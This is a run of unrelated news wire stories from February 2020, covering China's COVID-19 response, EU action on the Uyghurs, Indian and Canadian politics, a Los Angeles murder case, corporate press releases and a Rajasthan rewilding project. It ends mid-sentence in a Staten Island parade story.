Wang said China will continue to implement effective measures to maintain the stability of its economy and to minimize the impact of the outbreak as well. The night view of the CBD area in downtown Beijing, capital of China, May 11, 2017. (Xinhua/Jin Liangkuai) As the COVID-19 epidemic in China has been gradually brought under control, the potential of the production, investment and consumption will be released again, he said, adding that an economic rebound will surely be seen in the future. Wang said through countless difficulties and obstacles, China has always transformed challenges into opportunities. "We will not only win the fight against the coronavirus epidemic but also strive to achieve the stated goals for the economic and social development," he said. Members of the European Parliament prepare to vote on a resolution condemning the large-scale incarceration of Uyghurs in China's Xinjiang Uyghur Autonomous Region, at the parliament building in Strasbourg, eastern France, Dec. 19, 2019. Rights groups rejoiced when the European Parliament passed a resolution in December strongly condemning the large-scale incarceration of Uyghurs in northwestern China's Xinjiang Uyghur Autonomous Region (XUAR), laying out a blueprint for action against Beijing should it not stop its harsh treatment of the Muslim minority group. The resolution gives the EU a mandate to take concrete measures by allowing the adoption of targeted sanctions and asset freezes against Chinese officials responsible for the repression and mass detentions in Xinjiang where more than 10 million Uyghur and other Turkic Muslims live. The resolution, adopted on Dec. 19, also notes the rapid deterioration of the situation in Xinjiang during the last few years with the mass internment of up to 2 million people, intrusive digital surveillance, political indoctrination, and forced cultural assimilation. It calls on the Chinese government to immediately shut down the detention centers, unconditionally release detainees, and give independent journalists and international observers unfettered access to the region. At the time the measure was passed, the Munich-based World Uyghur Congress (WUC) called it a turning point in the EUs attitude and position on the crisis in East Turkestan, the name by which many Uyghurs refer to Xinjiang. While the EU has been among the loudest voices calling for the camps to be closed, it had yet to take strong and concrete action to realize this goal, the WUC said in a statement. Though it could take months before the EU as a whole moves to implement specific measures against China, rights groups say they have high expectations that something will occur soon. Its just one step in the larger process of getting the European Union to take further action, said Ryan Barry, WUCs project coordinator and researcher. It gives the EU a mandate to take some very concrete measures, including suggestions to take sanctions, which is something weve been calling for for a long time. The December 2019 resolution is the third such measure to be passed by EU lawmakers in the past 18 months to address the Uyghur crisis and demonstrate the bodys resolve to take substantial action to stop China from violating human rights in Xinjiang. Going beyond the other two measures, the new resolution calls on EU companies to monitor their involvement in the Uyghur region to ensure they are not complicit in or responsible for crimes against humanity taking place there, Barry said. Each one has gotten progressively more concrete and more specific in what they are trying to address, so we think this is a very important part in the overall scheme to try to address this issue, but what matters now is to implement the measures in this resolution, he said. A sense of urgency Others indicate an urgency for concrete action because they say China may not take the December resolution or other measures seriously. So far, the situation in Xinjiang, where authorities are believed to have held 1.8 million Uyghurs and other Muslim minorities since April 2017, hasnt changed. The resolutions may be ignored, but the EU has to be ready to follow up and impose necessary actions [and] measures in accordance with international law, Bahtiyar Omer, chairman of the Norwegian Uyghur Committee, wrote in an email to RFA. We cannot stop fighting for basic and universal values just because China might ignore it. Norway is not a member of the European Union, but rather a member of the European Economic Area that allows for the extension of the EUs single market to non-EU member states. Gheyyur Qurban, WUCs Berlin-based youth committee director, told RFA in 2019 that China believes it can afford to ignore accountability on the Uyghur crisis because of its economic superpower status. Regardless of the human crisis there, what governments can do is far from enough, he said. There is emphasis and attention, but there is only a war of words because China is now a superpower, so it just doesnt care about these human rights [issues]. Rights groups say that pressure must be sustained on bodies like the EU to keep the Uyghur crisis front and center so lawmakers and others will decide to implement concrete measures against China sooner rather than later. Challenges remain, however. Ralph Bunche, general-secretary of the Brussels-based Unrepresented Nations and Peoples Organization (UNPO), notes that unlike the Uyghur Human Rights Policy Act, a legally binding measure passed by the U.S. House of Representatives in December 2019, the EU Parliaments latest resolution is a nonbinding statement asking EU institutions to act. So, youre not looking at something that will immediately jump into action, but what you can really ask for is the European Union as a whole to take this resolution and use it to create a policy movement to ensure that some of the things mentioned in the resolution actually happen. he said. The Uyghur Human Rights Policy Act, which still must clear the U.S. Senate, requires President Donald Trump to condemn Chinese abuses in Xinjiang and call for the closure of mass detention facilities. The passage of the act by the House was followed by calls from U.S. lawmakers for Global Magnitsky Act sanctions against Xinjiang Party Secretary Chen Quanguo, the architect of the internment policy, and other Chinese officials, and for efforts to prevent U.S. companies from buying Chinese products made with forced labor in the Xinjiang camps. The Global Magnitsky Human Rights Accountability Act was crafted initially to deal with alleged human rights abuses and corruption in Russia by freezing the US. assets of rights violators and banning them from entering the country. Other rights activists say that economic factors in recent years have complicated EU action on China and the Uyghur crisis, as member states became more involved in Chinas massive Belt and Road Initiative (BRI), an infrastructure investment and lending program that will link the superpower with Asia, Africa, and Europe. We observe that often economic interests have overcome the universal and democratic values we are talking about so often, [but] the ongoing crisis in East Turkestan unfortunately reached a point where it was not possible to ignore any more, Bahtiyar Omer wrote. Lawmakers applaud as European Parliament President David-Maria Sassoli (R) stands next to Jewher Ilham (L), daughter of Uyghur economist and human rights activist Ilham Tohti, as she holds a photo of her father during the award ceremony for the 2019 Sakharov Prize at the European Parliament in Strasbourg, eastern France, Dec. 18, 2019. Credit: AFP Efforts paying off Nevertheless, efforts by rights groups and individuals within the EU to get lawmakers to acknowledge and address the Uyghur crisis as part of the blocs greater engagement with China have gained traction. At the beginning, nobody really wanted to meet with us, but then they became keener and keener to do so, said Lucia Parrucci, the UNPOs advocacy and training coordinator. In October 2017, some EU lawmakers formed a Uyghur Friendship Group, an informal network of legislators from different political parties and delegates from EU member states who meet regularly to discuss the challenges the Uyghur community faces, including the mass detentions in Xinjiang. Attention was high because these people were committed to the issue and talking about it, Parrucci said. The parliamentary group also drew attention to the plight of Uyghur economics professor Ilham Tohti, who is serving a life sentence in prison in China on separatism charges. A day before the passage of the EUs latest resolution on the Uyghur crisis, Tohti was awarded the Sakharov Prize for his efforts to foster understanding between Uyghurs and the majority Han Chinese in China and to highlight the human rights conditions of the Uyghurs. The European Parliament's Subcommittee on Human Rights has mechanisms to follow up on resolutions that have been voted on and holds regular hearings on rights issues that include Chinas repression of the Uyghurs, Parrucci said. During a subcommittee hearing Tuesday in Strasbourg on authoritarianism and the shrinking space for freedom of expression and human rights defenders, Yang Jianli, founder and president of Initiatives for China/Citizen Power, discussed what he called the totalitarian policies of Chinese President Xi Jinping who is intent on controlling every aspect of peoples lives through extensive surveillance systems. No doubt, China has become a high-tech digital surveillance superpower since Xi took power, and now its surveillance long arm is reaching out to the world, he said. The overriding grand goal of Chinas rejuvenation and the Chinese Dream allows the Party state to continue denying the rights of Chinas people as well as people in Hong Kong and to continue to oppress the Tibetans and Uyghur Muslim minorities. Xi coined the term Chinese Dream to describe the role of individuals in Chinese society, the goals of the Chinese nation, and the embodiment of political ideology under his leadership in contributing to the revitalization of the nation. The EU has also become one of the most vocal actors on the Uyghur crisis during the last eight or nine Human Rights Council sessions at the United Nations and during the annual EU-China Human Rights Dialogue, Barry said. The EU delegation has consistently raised this issue whereas many other states have not for the last three EU-China Human Rights Dialogues the camps, Uyghur issues, and Uyghur rights issues in particular have been priorities, he said. Whats been missing is concrete action, which is what this resolution really calls for. This most recent resolution calls for precisely this targeted sanctions, passing Magnitsky-style legislation that the EU can use to impose assets freezes, visa bans, and [other] targeted measures, Barry said. That is very necessary from the EU. Thats the next big step in the process. Leading communications agency will provide full-scale investor and public relations services EASTLAKE, Ohio, Feb. 21, 2020 (GLOBE NEWSWIRE) -- U.S. Lighting Group (OTC:USLG), a leading manufacturer of electronics and high-tech robotics, today announced a new partnership with Lambert IR, a top-10 investor relations agency nationally and a division of integrated communications agency Lambert & Co. Lambert will work closely with U.S. Lighting Group to develop and implement an integrated communications strategy in an effort to elevate the investment narrative. We are excited for the opportunity to partner with Lambert and leverage their expert team to support the building of our investor brand, said Paul Spivak, CEO of U.S. Lighting Group. Following the recent announcements regarding sizable RV orders and a purchase agreement to expand our additional manufacturing footprint, we believe we are well positioned for profitable growth. U.S. Lighting Groups impressive patent portfolio and unique robotics capabilities will enable Lambert to provide solutions that accelerate brand awareness with the financial community, said Mike Houston, managing director of investor relations at Lambert. The team at USLG is incredibly innovative, and we look forward to supporting their continued entrepreneurial efforts. About U.S. Lighting Group, Inc. U.S. Lighting Group (OTC:USLG) is a leading manufacturer of electronics, supplying growth sectors such as LED lighting, automotive, RV, and marine electronics, custom designed LED products, microprocessor-controlled LED instrumentation, custom private labeled electronics, and high-tech robotics. The Company has manufacturing and R&D facilities in Cleveland, Ohio with an international sales distribution network. For more information about U.S. Lighting Group, please visit http://www.uslightinggroup.com/ About Lambert Lambert's position as a top-10 IR firm is the sum of its strong value proposition rooted in its Michigan headquarters and its national reach spanning offices from New York City to Phoenix. Collectively, Lambert has worked with hundreds of publicly traded and pre-IPO companies in a variety of industries for more than 20 years, measurably increasing their visibility and investment brand reputation among analysts, investors and financial media coast to coast. Lambert IR is a division of Lambert & Co., a top-50 PR firm in the U.S. and a top-5 private equity-focused (MergerMarket) PR firm with clients across the globe. The firm is a member of the 60-country partnership of agencies, PROI Worldwide. Learn more at www.lambert.com . The Mizoram Assembly on Friday unanimously adopted a private member's resolution asking the Centre to take measures for protection of religious freedom enshrined in the Constitution. Opposition Congress Legislature Party leader Zodintluanga, who moved the resolution, said the minorities have come under severe attack and the rate of religious persecution has increased after the BJP-led NDA dispensation came to power at the Centre in 2014. He alleged that atrocities, physical assault on minorities and vandalism of religious monuments, including church and mosques, were rampant under the current NDA regime. The Citizenship (Amendment) Act is a "discriminatory law, which seeks to grant citizenship on religious line", the Congress leader said, adding that freedom of religion and secularism are the pillars of the Constitution. Chief Minister Zoramthanga and opposition leader Lalduhoma participated in the prolonged discussion on the resolution. Members of the ruling Mizo National Front (MNF) contended that persecution of religious minorities was even higher during the Congress regime. Zoramthanga said his party does not follow the ideologies and principles of the BJP and opposed the Citizenship (Amendment) Bill. The MNF is a partner of the BJP-led North East Democratic Alliance (NEDA), which was formed with an intention to make the North East Congress-free. "Our ideologies and policies are antagonistic to that of BJP. We are fighting each other in terms of principles and ideologies," he said. The chief minister said his party came under the NEDA banner because the alliance is anti-Congress and wanted to oust the grand old party from Mizoram. However, cutting across parties, legislators unanimously passed the resolution, which stated that "the central government must take measure to ensure that religious freedom is protected". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Bangkok-bound passenger has been apprehended at Delhi airport for allegedly carrying US currency worth over Rs 1.5 crore in an unauthorised manner, officials said on Friday. Mohammed Ansarudeen A Jalaludeen was intercepted on Thursday evening at the Terminal-3 of the Indira Gandhi International Airport due to his "suspicious behaviour", they said. US currency worth Rs 1.55 crore, hidden in the false cavity of a bag being carried by the passenger, was recovered from the traveller. As the passenger did not have valid documents to carry the huge foreign currency, he was handed over to Customs authorities by the Central Industrial Security Force, they said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Maharashtra chief minister Uddhav Thackeray and son Aaditya called on Prime Minister Narendra Modi at his office in national capital Delhi on Friday. This was Uddhav Thackerays second meeting with PM Modi after assuming charge as chief minister, their first in a formal setting. In a tweet shortly after their meeting, PM Modis office and Uddhav Thackeray tweeted photographs. CM Uddhav Balasaheb Thackeray had a courtesy meeting with the Honble Prime Minister of India Shri @narendramodi ji in Delhi today, the chief ministers official handle tweeted. At a media briefing later, Uddhav Thackeray said he had a fruitful discussion with the prime minister concerning issues about Maharashtra and confirmed that they did discuss the amended citizenship law and the population register. He will next meet Congress boss Sonia Gandhi and BJP patriarch Lal Krishna Advani. Uddhav Thackerays Shiv Sena and PM Modis Bharatiya Janata Party had been allies for decades but split up after last years Maharashtra assembly elections. Uddhav Thackeray had taken offence to the BJP leaderships assertion that the two allies hadnt agreed to sharing the chief ministers chair, a denial that Thackeray said, implied that he was lying. . . CM Uddhav Balasaheb Thackeray had a courtesy meeting with the Honble Prime Minister of India Shri @narendramodi ji in Delhi today. pic.twitter.com/GwM1LcfvRj Office of Uddhav Thackeray (@OfficeofUT) February 21, 2020 Thackeray did become the chief minister after a brief spell of central rule but as a member of an unlikely three-party coalition with the Senas two prime rivals, the NCP and the Congress. He has acknowledged on more than one occasion that the Sena and its two partners - NCP and Congress - hadnt been on the same side of the ideological divide but they would work it out. The first challenge on the ideological contradiction within the Maharashtra Vikas Aghadi coalition came soon after Uddhav Thackeray took oath when parliament took up the Citizenship Amendment Bill. His party voted in favour of the bill in the Lok Sabha but its two alliance partners persuaded it to abstain from voting in the Rajya Sabha. Over the last few weeks, there have been some awkward moments in the Maharashtra coalition after chief minister Uddhav Thackeray asserted that he did not see anything wrong with implementing the national population register. It is a stand that contradicts the Congress position, which counts the population register as the big step towards the National Register of Citizens. Several states ruled by non-NDA parties have already declared that they will not implement the population register. Congress leaders have indicated that it would be embarrassing if the Maharashtra government goes ahead to implement NPR. A Congress leader suggested that Sonia Gandhi is unlikely to go into the details of the NPR stand of the two parties or the coalition but could point to the need for some convergence on contentious issues, an aspect that was underlined in the common minimum programme of the coalition as well. SHARE THIS ARTICLE ON OTTAWA Two months after pledging to tell the federal Liberals how much the carbon tax cost grain farmers last fall, Manitoba is still gathering its data. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. OTTAWA Two months after pledging to tell the federal Liberals how much the carbon tax cost grain farmers last fall, Manitoba is still gathering its data. On Dec. 17, 2019, agriculture ministers from the Prairie provinces agreed to tally and send Ottawa data on how much the federal carbon tax added to farmers costs that year, specifically for drying grain. The Alberta government said Thursday its estimated that cost at $2.7 million in that province this past year. Grain drying is one of the few agricultural tasks subject to the federal levy. Fuel used for agriculture is generally exempt from the carbon tax, because there are few environmentally friendly alternatives. Officials decided it would be counterproductive to apply the tax in cases where customers would likely shift to cheaper foreign products, resulting in a minimal reduction of carbon emissions. Prairie farmers have asked Ottawa to exempt those measures, and compensate them for added costs, which Keystone Agricultural Producers believes could amount to millions in Manitoba. Instead, Ottawa has asked for provinces to tally up the cost. "Ive received interesting information from some provinces, and some associations as well," federal Agriculture Minister Marie-Claude Bibeau told the Free Press on Wednesday. Bibeau didnt list who has sent her data, but said the Manitoba government is among those from whom shes waiting on figures. "Im working on it right now, and their data are helpful," Bibeau said. The Manitoba government said last week that drying grain in 2019 likely cost farmers from $25 to $40 million, though it didnt know how much of it went to the carbon tax. The province didnt provide an update Thursday, and wouldnt specify the steps its taking to collect this data. The Agricultural Producers Association of Saskatchewan, an industry group, has come up with an estimated hit on farmers by percentage, though it has no ballpark for the cumulative cost on that province last year. The organization estimates the carbon tax on grain drying will cost a 5,000-acre farm $1,802 this year and almost $4,000 in two years. Spokesman Duane Haave suspects that will mean millions of dollars for his province this year, but says that amount can only be extrapolated when yields and moisture are tabulated at the end of the year. "Were trying to demonstrate that there are numbers that show that its a problem," he said. "Its a significant amount of money." His organization argues that cumulatively, the carbon tax charges on things such as heating and trucking will take up eight per cent of Saskatchewan farmers net income this year, and 12 per cent in two years. That amount would likely be different in Manitoba, because Saskatchewan relies heavily on coal and pays much more carbon tax than hydro-powered Manitoba. The Saskatchewan government says it has shared some information with federal officials, but didnt have any data to make public. "The cost on individual farms will depend on the amount of grain that had to be dried and how much it needed to be dried," wrote spokeswoman Megan Burns. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Poor harvest conditions have forced many farmers to dry their grain from the 2019 growing season and the carbon tax has increased the costs." Meanwhile, the Alberta government provided its estimates to the Free Press, which added up to $2.7 million this year and would be $6.8 million under the 2022 rate. "A fully implemented carbon price at $50 a tonne would cost our farmers about $7 million dollars for natural gas and propane, just on grain drying alone in Alberta," wrote Adrienne South, spokeswoman for Alberta agriculture minister Devin Dreeshen. "A carbon tax hurts the entire agriculture sector." KAP is tabulating the Manitoba data it has collected. It said this month that corn farmers alone have paid roughly $1.7 million in carbon tax for grain-drying during this harvest. dylan.robertson@freepress.mb.ca Hollywood sex therapist Amie Harwick, the former fiancee of comedian Drew Carey, was casually texting with a friend minutes before her death, according to a new report. Harwick, 38, died on Saturday in Los Angeles. Her ex-boyfriend Gareth Pursehouse was charged with murder and first-degree residential burglary with the enhanced charge of lying in wait, making him eligible for the death penalty. Prior to her death, Harwick was texting with her best friend Robert Coshland, discussing plans for an upcoming trip, according to CBS News. He sent his last text around 11pm, and she responded at 1.01am. Minutes later, at 1.16am, police responded to a radio call of a 'woman screaming.' Amie Harwick was texting with her best friend Robert Coshland (with her left) minutes prior to her death. Her ex-boyfriend Garth Pursehouse (right) was charged with murder Harwick and Coshland (together above) were apparently close friends, and were texting about plans for an upcoming trip minutes before her murder Pursehouse's arraignment has been postponed to March 4. The public defender's office, which is representing the 41-year-old, did not immediately return a request for comment. The coroner's office ruled Harwick's death a homicide on Monday and attributed the cause to blunt force injuries, according to its website. Harwick's autopsy showed evidence of 'manual strangulation,' coroner's spokeswoman Sarah Ardalani said Thursday in an email, noting that the fatal fall from the balcony occurred after an 'altercation.' Officers found evidence of a struggle and a forced entry to the home, police said. Detectives learned Harwick had recently expressed fear about an ex-boyfriend and had previously filed a restraining order against him, according to a police statement. The restraining order had expired. Harwick's website described her as a marriage and sex therapist. She appeared on TV and radio and wrote a book called 'The New Sex Bible for Women.' Carey dated Harwick for two years before the pair split in 2018, months after announcing their engagement. 'I hope youre lucky enough to have someone in your life that loves as much as she did,' Carey said on Twitter. CBS canceled the 'Price is Right' game show for the week while he mourns. Pursehouse was initially arrested Saturday and posted $2 million bond. He was re-arrested Wednesday on a no bail warrant. The special circumstance allegation of lying in wait means that he is eligible for a death penalty sentence in California if he is convicted. The coroner's office ruled Harwick's death a homicide on Monday and attributed the cause to blunt force injuries, according to its website Harwick was formerly engaged to the Price is Right host Drew Carey but they split in November 2018 after dating for more than a year Cops were called to Harwick's Hollywood Hills home in the early hours of Saturday morning after reports of a 'woman screaming'. She was suffering grave injuries and died in hospital from blunt force injuries to the head and torso. Authorities said she was attacked and Pursehouse was subsequently arrested in connection to her death. He was freed on bond Tuesday but re-arrested Wednesday. Pursehouse appeared in court on Thursday. The arrest comes after it emerged that Harwick allegedly suffered a catalog of abuse at the hands of her ex-boyfriend, who became obsessed with her after she dated him a decade ago. Harwick, who was a well-known sex therapist and former Playboy model, issued restraining orders against the photographer in 2011 and 2012 detailing a series of physical attacks. Amie Harwick, 38, died Saturday and the LA coroner says she was manually strangled in an altercation and then thrown from a third-floor balcony Ex-boyfriend Garth Pursehouse was charged with murder and first-degree residential burglary with the special circumstance allegation of lying in wait Harwick was found unconscious after falling from a third-floor balcony in her home, pictured Court documents reviewed by DailyMail.com detail how he once pushed her out of a car on the freeway, and in another incident forced her onto the ground and viciously kicked her in the face. Harwick accused Pursehouse suffocated her in May 2011, saying he punched her, slammed her head onto the ground and covered her mouth to keep her from yelling after they got into a fight. He then kicked her leaving her covered in bruises and unable to walk. 'There were multiple arguments in which Gareth Pursehouse choked me, suffocated me, pushed me against walls, kicked me, dropped me to the ground with force, force-restrained me, slammed my head into the ground and punched me with a closed fist,' she wrote in court paperwork dated June 22, 2011. On June 18, 2011 Pursehouse is said to have pushed her out of a car and left her on the freeway late at night. Harwick obtained a temporary restraining order against Pursehouse in 2011 and was granted another one less than a year later, which expired in April 2015. In California the maximum length of a restraining order is five years. Harwick had seen Pursehouse in January this year at the XBiz adult-industry awards ceremony in downtown Los Angeles where he was working as a photographer. She was a guest at the show, hosted by porn star Stormy Daniels, and was pictured posing on the red carpet. Harwick and Pursehouse saw each other at the XBiz Awards on January 16, which was said to reignite his obsession with her Pursehouse pictured circled in red at the XBiz Awards, was working as a photographer and allegedly harassed Harwick. The porn star Stormy Daniels, pictured in the silver dress, hosted the event A friend told the Los Angeles Times that seeing her seemed to 'reignite his obsessive preoccupation with her'. Harwick was the author of the book The New Sex Bible for Women. She was formerly engaged to the Price is Right host Drew Carey but they split in November 2018 after dating for more than a year. She received her degree in psychology from California Polytechnic University in Pomona, California. Harwick also earned her masters of arts in clinical psychology from Pepperdine University. In 2015, Harwick appeared in the popular online documentary titled Addicted to Sexting. She offered weekly therapy sessions at $200 per session, according to her site. Three thousand camels were evacuated from the port in Tripoli, Libya, in the early hours of February 20 after the area was subjected to artillery fire by forces loyal to Gen Khalifa Haftar on February 18, according to reports. This video shows the herd, who were imported from Australia, walking through the center of the city just after midnight. They walked 30 miles west, to the city of Zawiya. Reuters reported that a local armed group stole 125 of the camels as they passed through the suburb of Janzour on their way to Zawiya. Al Jazeera reported that missiles struck the ports wharf and surrounding facilities on February 18. The United Nationsbacked Government of National Accord shared video on February 19 that they said showed the aftermath of the attack on the port. Credit: EAlghlali via Storyful Chief Executive of the Ghana Free Zones Board, Michael Okyere Baafi, has filled his nomination forms to contest the NPP Parliamentary Primaries for New Juaben South Constituency. He will be the only aspiring Member of Parliament (MP) to challenge the incumbent New Juaben South MP, Dr Asibey Yeboah, in the New Patriotic Party (NPP) primaries slated for April this year. In a message posted on his Facebook handle, he wrote: It was a pleasure to have yet another opportunity to file my nomination forms to contest the NPP Parliamentary Primaries for New Juaben South Constituency. I was overwhelmed to have seen over hundreds of delegates and constituents, join me in taking up this bold step. This will be the second time I have submitted myself to be considered by the dutiful delegates of the Constituency. I do so with a humble heart and an unwavering conviction that theres nothing more fulfilling than the honor to represent and serve the good people New Juaben South. But they that wait upon the Lord shall renew their strength; they shall mount up with wings as eagles; they shall run, and not be weary; and they shall walk, and not faint. Isaiah 40:31 (KJV) I should say that, it is a blessing to be a son of New Juaben South. New Juaben South has been very generous to me; it has developed me into becoming a person of value by instilling in me, a sense of purpose and identity. I know of no other home than New Juaben South. Personally, I think New Juaben South deserves better than what we are experiencing now. It is about time we turn our tables to a direction that would favor us and uplift the image of our dear Constituency. It is to this I come back to seek your mandate to materialize the dreams and prospects of the Constituency. In this regard, I intend to continue the dialogue I started a few years ago with party functionaries and voters in the constituency about priority challenges that we can collectively tackle. With inspiring and purposeful leadership, New Juaben South will shine! Thank you, once more, for your continuous support. God bless New Juaben South God bless NPP God bless Ghana #RescueMission #Osorobekasa #4More4Nana Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video NEW YORK, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Pomerantz LLP is investigating claims on behalf of investors of Boral Limited (Boral or the Company) (OTCMKTS: BOALY; BOALF). Such investors are advised to contact Robert S. Willoughby at rswilloughby@pomlaw.com or 888-476-6529, ext. 9980. The investigation concerns whether Boral and certain of its officers and/or directors have engaged in securities fraud or other unlawful business practices. [Click here for information about joining the class action] On December 5, 2019, Boral disclosed that it had identified financial irregularities in its North American window business, involving the misreporting of inventory levels and raw material and labor cost at the window plants, and was conducting an internal investigation into the matter. Then, on February 9, 2020, Boral revealed that its investigation had found inflated earnings at its North American window-making business and announced that the Company had fired the division's vice president of finance and financial controller. On this news, Borals American depositary receipt price fell $1.08 per share, or 7.83%, to close at $12.72 per share on February 10, 2020. The Pomerantz Firm, with offices in New York, Chicago, Los Angeles, and Paris is acknowledged as one of the premier firms in the areas of corporate, securities, and antitrust class litigation. Founded by the late Abraham L. Pomerantz, known as the dean of the class action bar, the Pomerantz Firm pioneered the field of securities class actions. Today, more than 80 years later, the Pomerantz Firm continues in the tradition he established, fighting for the rights of the victims of securities fraud, breaches of fiduciary duty, and corporate misconduct. The Firm has recovered numerous multimillion-dollar damages awards on behalf of class members. See www.pomerantzlaw.com. For the last two decades, Indian wildlife photographer and conservationist Aditya Singh and his wife have been buying land adjacent the famous Ranthambore Tiger Reserve in Rajasthan, and simply letting the forest grow back as a refuge for big cats and other wildlife. In 1998, Aditya Singh left his comfortable job with Indian civil services in Delhi and moved to a remote part of Rajasthan, in the vicinity of the Ranthambore Tiger Reserve, to be closer to nature. He took up photography and together with his wife, artist Poonam Singh, opened a tourist resort to earn a living. They had been able to buy a piece of land, because farmers were eager to sell due to the danger of tigers from the nearby reserve venturing onto their properties. Over the year, the couple bought up more land, but instead of planting crops, they just let nature slowly reclaim it. Over the last 20 years, their 35 acres of land has transformed into a green forest patch where lions from the tiger reserve as well as wild boars and other animals come all year round. Photo: pforpuja/Pixabay The area is called Bhadlav. I had first gone to this area soon after settling in Ranthambore along with a BBC filmmaker. This area adjacent to the boundary of the Ranthambore reserve was visited by predators like tigers who used to come for prey. As a result, farmers were selling their land, Singh told Mongabay-India. I just bought this and did nothing to it except removing the invasive species. We allowed the land to recover and now after 20 years it has become a lush green patch of forest which is frequently visited by all kind of animals, including tigers, leopards and wild boars, throughout the year. Aditya and his wife managed a tourist resort in the area until 2019 when they closed it down, and they are now in the process of building a new home and homestay in the area, both of which on solar and wind power, so they can remain close to their lifetime project. They are also trying to buy more land from nearby farmers and hopefully inspire other to follow their example. An aerial photo took by Aditya himself reveals why his green land parcel is so much more inviting to wildlife than the barren terrain of the adjacent Ranthambore Tiger Reserve. He and his wife have even created watering holes, to make sure visiting animals have plenty of water even during hot summers. The green haven has become so popular with big cats that it has relieved some of the pressure of tigers venturing on farmerss lands. It is simply because the animals understand that in this patch of the forest they get prey, water and safe shelter without any disturbance, Singh said. The photographer claims that he is often approached by businessmen and farmers looking to buy his land so they can exploit it agriculturally, but he has never even thought about selling, regardless of how profitable that could be. His project has never been about money, but about his love for nature and wildlife. Today, he is often getting questions from like-minded people wanting to replicate his model in other parts of India. Aditya and Poonam Singh are not the only Indian conservationists who took it upon themselves to restore nature to its former glory on land that could have been financially exploited. Anil and Pamela Malhotra have also spent decades of their lives turning a 300-acre piece of farmland in Karnataka into a green sanctuary for elephants and other wildlife, and Indias Tree Man, Vishweshwar Dutt Saklani, spent his life planting over 5 million trees and turning his once barren homeland into a lush forest. China has achieved some positive results in the fight against the novel coronavirus in Wuhan and Hubei province at large, although there are still some challenges, officials said Thursday. Daily new confirmed and suspected cases have both dropped in Wuhan, the epicenter of the coronavirus outbreak, Ding Xiangyang, deputy secretary-general of the State Council, or the cabinet, said at a press conference Thursday in Wuhan. "Our medical capabilities have also improved, and the number of discharged patients is rising steadily," Ding said. Meanwhile, other cities in Hubei have also seen the number of confirmed and suspected infections decrease, boosting confidence for the prevention and control efforts, he said. However, it is also necessary to understand that despite the positive results, challenges remain, including the large number of infections in Wuhan. Altogether 29 foreign nationals in China had been infected with the novel coronavirus as of 6 p.m. Wednesday, Ding said. Among the total, 18 patients have recovered and been discharged from hospitals. Nine are in quarantine and receiving treatment at hospitals, and two died of the virus, according to Ding. Also at the press conference were Lian Weiliang, deputy head of the National Development and Reform Commission, and Yu Yanhong, an official with the National Health Commission. The officials paid a silent tribute to medics and patients who lost their lives during the fight against the novel coronavirus outbreak. "The severity of the epidemic and the vast transmission of the virus have posed unprecedented challenges and generated huge pressure on the entire society," Ding said. Supply guarantee The key supplies for medical personnel on the front line to fight the novel coronavirus epidemic are guaranteed, and the supplies of living materials are basically abundant, Lian said. On Feb. 19, a total of 336,000 N95 masks and 133,000 protective suits were collected across the country and supplied to Hubei, he said. With the growing number of medical workers sent to Hubei to aid the fight against the virus, as well as the confirmed and suspected patients admitted to hospital for treatment, there will be a huge demand for medical supplies. There are still some structural problems in the varieties of medical material provisions, according to Lian. Meanwhile, to increase the number of hospital beds to take in more patients, Wuhan has built 11 makeshift hospitals and set up over 400 medical quarantine sites, Ding said. The designated hospitals, makeshift hospitals and quarantine sites in Wuhan are expected to offer about 70,000 hospital beds, Lian added. Since the coronavirus outbreak, the central government has subsidized over 700 million yuan (nearly 100 million U.S. dollars) to improve the medical treatment capability of the province. In addition, about 2,000 tonnes of pork have been transported to Wuhan from other regions of the country to increase local supplies. More tonnes of staple foods, meats, vegetables and other food will be provided to Hubei. Combination of Chinese, Western medicine effective The combination of traditional Chinese and Western medicine in treating COVID-19 is proved effective, Yu said. The method can rapidly improve the condition of patients with mild symptoms such as fever, cough, sore throat, weakness and lack of appetite, and cut the duration of hospital stays, said Yu, who is also deputy head of the National Administration of Traditional Chinese Medicine. Experts also find that the combination can help prevent mild symptoms from developing into severe and critical conditions, thus reducing the death rate of the disease, she noted. A study on 102 mild cases showed that the clinical symptoms of those receiving the combined treatment disappeared two days sooner than the control group, and the recovery rate improved 33 percent, Yu explained. She also noted that traditional Chinese medicine can effectively improve the number of lymphocytes, an indicator of patient recovery. In another study on cases of severe conditions, the patients receiving the combined treatment stayed an average of over two days shorter in hospital than the control group, with multiple indicators improving. "In the future, we will further improve the plan of traditional and western medicine treatment to give it a greater role in saving the patients," Yu said. Public safety and health must be the priority in the fight against the coronavirus, Ding said. "We must clench our teeth and fight the coronavirus with greater confidence, stronger determination and more resolute measures," he said. "We will not stop until we win the battle against the virus." CITY HALL -- Irish American Democratic Party chairman Assemblyman Michael Cusick (D-Mid Island) will sit out the boroughs annual St. Patricks Parade this year after the Island chapter of the Irish Catholic fraternal order -- the Ancient Order of Hibernians -- denied the Pride Center of Staten Island from marching under its own banner for another year in a row. Cusick, a 25-year member of the Ancient Order of Hibernians, said although he does not plan to march in the March 1 parade, he will likely sit on the sidelines and watch the parade with his family. However, he will attend the annual pre-party at Jodys Club Forest in West Brighton, where the whos who in politics gather before the parade. He said he plans to still attend the pre-party because he and fellow Irish American lawmaker District Attorney Michael McMahon are co-sponsors of the event. I marched in the St. Patrick's Day Parade for most of my life, my family has been an integral part in the St. Patricks Day Parade and its part of who I am, Cusick said. I truly think as I did the last few years, that the Pride Center should be able to march in the parade and I dont do this out of protest, I think that this is a parade that I think should be a cultural event celebrating our Irish heritage and thats why I think that its important that all groups that want to celebrate Irish heritage, in general, are allowed to march, he continued. Cusick declined to say whether he had been in any talks with AOH after its decision, nor would he speak to any hypotheticals about his future affiliation with the group. Cusick said he likely has not donated any funding to the parade or AOH as far as he could remember. The assemblymans decision to sit out the parade comes after the Archdiocese of New York said it would not get involved with who is invited to the Islands parade. The Pride Centers Executive Director Carol Bullock said she wants the Archdiocese to step in and get the Irish Catholic organization to be more inclusive. Parade organizer Larry Cummings previously told the Irish Voice the parade was meant to celebrate Irish heritage. However, 